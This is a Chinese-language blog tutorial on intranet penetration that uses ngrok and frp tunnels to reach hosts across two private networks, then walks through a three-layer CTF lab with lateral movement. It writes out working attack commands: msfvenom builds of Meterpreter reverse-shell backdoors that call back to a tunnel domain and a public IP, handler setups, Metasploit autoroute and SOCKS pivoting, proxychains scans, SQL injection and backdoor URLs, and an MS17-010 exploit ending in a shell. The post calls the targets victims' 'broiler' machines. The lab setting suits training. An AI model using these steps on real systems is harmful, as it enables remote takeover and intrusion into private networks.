内网安全域横向内网漫游Socks代理隧道技术

Posted 2021-10-11 Wαff1ε

代理技术和隧道技术都属于内网穿透，代理主要解决内网里面通信的问题（比如对方在内网，你也在内网，这时候两个内网实现通信就必须要经过代理才能实现，常见工具有frp、ngrok和ew等，ew（earthworm已经停止更新了，就不演示）），和一些防火墙的拦截
隧道主要是一些安全设备和流量监控设备上的拦截问题

代理主要解决的是三种问题：内网主机有外网，内网有过滤有一些防火墙问题、内网里面无外网

必要基础知识点：

1.内外网简单知识

内网ip地址是私有ip地址（10/8, 172.16/12 , 192.168/16），除此之外就是公有ip

2.内网1和内网2通信问题

1主机在内网1,2主机在内网2.就好比说你在学校宿舍上网，我在网吧上网，我们都属于内网，但是我们不是一个内网，您是学校内网，我是网吧内网，这两个网络如果要实现通信。比如我现在有个后门CS或者MSF生成一个后门发给你，你去执行这个后门，这个时候如果你能让对方上线到你这是上线不了的，因为你们都是内网，除非这个时候采用一些代理技术。你用CS想控制这台内网主机，你CS在另外一个内网，受害主机在一个内网，那么上线是不可能的。必须要借助代理

3.正反向协议通信连接问题

正向代理就是正方向的连接，反向代理就是反方向的连接
什么是正方向，什么是反方向呢？
如果是控制端去连接被控制端的话，就属于正向代理，
被控制端去连接控制端就是反向代理。

这个正向代理和反向代理为什么要区分开呢？
你的控制端如果是服务器，是外网一台主机，就是公网的一台服务器，就相当于你在外网有一个唯一的IP地址，通过这个IP地址你能够找到你；
被控制的肉鸡是内网，如果你去主动找这台被控的内网主机你是找不到的，

4.内网穿透代理隧道技术说明

隧道主要解决流量分析工具和流量监控工具 还有想防火墙过滤问题
代理主要解决网络的连通性问题

黑客在湖南局域网，肉鸡在上海局域网，你用的是自己内网里面的虚拟机kali生成的后门，你想实现控制上海的肉鸡。
理论上，如果你不涉及到代理，是绝对控制不了的，因为你两者都是内网，你生成后门的时候，你如果写你外网的木马地址的话，它去连接的时候找到的是你的路由器，你写你内网地址的话，那就更加找不到，它就不可能实现控制。

这时候就要借助ngrok这款工具来实现连通，它是怎么实现呢？下面简单把原理分析一下
用到ngrok这款工具的时候，ngrok会在外网启动一台服务器给你，相当于这台肉鸡想去找你的时候先去找这个服务器，服务器再传输给你。同样，如果你要找这台肉鸡，也要经过这台服务器，其实就是说，这款工具就是在中间架设一台外网服务器，因为这台外网服务器你和他都能访问，你找对面肉鸡的时候会经过外网服务器，这个数据要回连给控制端的时候也会找这台外网服务器，服务器会在控制端这里有个客户端，就相当于接收服务器给的数据，你出去，客户端给服务器；数据连通就是正常的！其实就是找了一个中介！

---

演示案例：
• 内网穿透Ngrok测试演示-两个内网通讯上线
• 内网穿透Frp自建跳板测试-两个内网通讯上线
• CFS三层内网漫游安全测试演练-某CTF线下2019

案例1-内网穿透Ngrok测试演示-两个内网通讯上线

实验环境：两个不同的内网(有网络)实现穿透控制
1.注册-购买-填写-确认http://www.ngrok.cc/（国内）
协议：http 本地端口：192.168.76.132:4444

 
kali就下载linux的客户端

 

 开通后点击隧道管理

 开两台虚拟机来模拟：用msf生成后门，再用一台电脑来执行这个后门，两台电脑实现这个问题

 打开kali：

写这个隧道id就会找到那个外网上去

确保是online，如果不是online就说明隧道有问题

http://xiaodisec.free.idcfengye.com  ——》192.168.76.132:4444（对方访问这个网址就会指向这个ip）
192.168.76.132:4444就是本机kali的ip地址

2.测试：内网1执行后门-免费主机处理-内网2监听-内网2接受器

在卡里下生成后门：
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe（生成后门,因为选择的是http协议，所以这里是reverse_http）生成一个后门，绑定xiaodisec.free.idcfengye.com地址和 80端口

这时候把生成的后门文件test.exe复制到windows7

下面配置后门监听状态（配置并监听）一旦xiaodisec.free.idcfengye.com有流量，就发生给本地
msfconsole

use exploit/multi/handler  # 选择监听模块
set payload windows/meterpreter/reverse_http（和生成木马的payload一致）配置参数
set lhost 192.168.76.132
set lport 4444

这时候windows7去执行后门文件：

./sunny clientid aa0676878c162ffc
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe（生成后门）
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.76.132
set lport 4444
exploit

---

案例2-内网穿透Frp自建跳板测试-两个内网通讯上线

自行搭建，方便修改，成本低，使用多样化，适合高富帅及隐私哥哥们
1.服务端-下载-解压-修改-启动（阿里云主机记得修改安全组配置出入口）用xshell连接云服务器更改frps.ini
服务器修改配置文件frps.ini：
[common]
bind_port = 6677
启动服务端：
./frps -c ./frps.ini

2.控制端-下载-解压-修改-启动
控制端修改配置文件frpc.ini：
[common]
server_addr = 你的云主机ip
server_port = 6677 #frpc工作端口，必须和上面frps保持一致
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 #转发给本机的5555
remote_port = 6000 #服务端用6000端口转发给本机

启动客户端(kali)：
./frpc -c ./frpc.ini

生成后门：
msfvenom -p windows/meterpreter/reverse_tcp lhost=101.37.160.211（你的公网ip） lport=6000 -f exe -o frp.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

监听后把木马放到windows7上面执行

3.靶机运行frp即可

---

案例3-CFS三层内网漫游安全测试演练-某CTF线下2019

参考：CFS靶机实战演练-从外网杀进三层内网，横向渗透拿到Flag

环境：

来源2019某CTF线下赛真题内网结合WEB攻防题库，涉及WEB攻击，内网代理路由等技术，每台服务器存在一个Flag,获取每一个Flag对应一个积分，获取三个Flag结尾。
Target1（centos7 x64）：
探针目标-利用WEB漏洞(TP5_RCE)-获取webshell权限-蚁剑连接--获取Flag-Target2

1.生成linux后门：

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132(kali的ip) LPORT=1111 -f elf >t1.elf

2.接受反弹：

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.76.132
set LPORT 1111
exploit

将t1.elf通过webshell上传上去

执行完成后，kali主机上劫持到会话，会话已经弹到kali上面，kali是76网段，怎么让kali访问到22网段？
msf上面有自带的代理加持，在CS上面也有，先通过网络接口来判断

3.信息收集及配置访问
获取网络接口：run get_local_subnets（因为在实战情况下是不知道这台主机是什么网络的，前面是因为看了拓扑图，这个就是获取网卡信息，确保下面有没有内网）

查看路由地址：run autoroute -p（查看当前路由）

添加路由地址：run autoroute -s 192.168.22.0/24

添加路由后，我和22这个网卡是能通讯，但是你通讯怎么攻击它呢？还是要使用工具，但是这个路由有个问题，只能在msf上通信，只能在msf会话上操作，msf有很多命令去探测，但是不能攻击，这是就要本地开个代理，相当于给其他人一个接口。

相当于在这台target1或者kali上面开个接口，让外部人连接这个接口，因为目前kali已经可以访问目标2，因为已经有路由了。所以可以在上面开个接口，那么我可以通过本机访问kali的2222端口

开启本地代理：
use auxiliary/server/socks4a
set srvport 2222
exploit

等一下连接2222就能和kali进行连接,

4.利用本地代理接口访问测试
设置浏览器代理进行访问测试
linux：
配置proxychains（代理工具）后调用工具探针Target2
/etc/proxychains.conf
socks4 192.168.76.132 2222（在配置文件中添加）
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80  （这样nmap就会扫描22网段）
-Pn：扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT：扫描TCP数据包已建立的连接connect

windows：
利用代理工具Proxifier或SocksCap64载入代理进行进程访问测试

Target2（ubuntu x64）：
探针目标-利用WEB漏洞(SQL注入)-后台获取webshell权限-获取Flag-Target3
http://192.168.22.128/index.php?r=vul&keyword=1 #sql注入
http://192.168.22.128/index.php?r=admini/public/login #后台
http://192.168.22.128/index.php?r=special #后门shell
1.生成正向后门：
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
2.访问接受：
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit
3.信息收集及配置访问
获取网络接口：run get_local_subnets
查看路由地址：run autoroute -p
添加路由地址：run autoroute -s 192.168.33.0/24

Target3:（windows7 x64）
探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag-GG
proxychains4 nmap -Pn -sT 192.168.33.33
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
exploit
shell
dir /S flag.txt /B
type xxxxx.txt

---

涉及资源:
http://www.ngrok.cc/
https://gofrp.org/docs/
Releases · fatedier/frp · GitHub
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw提取码: xiao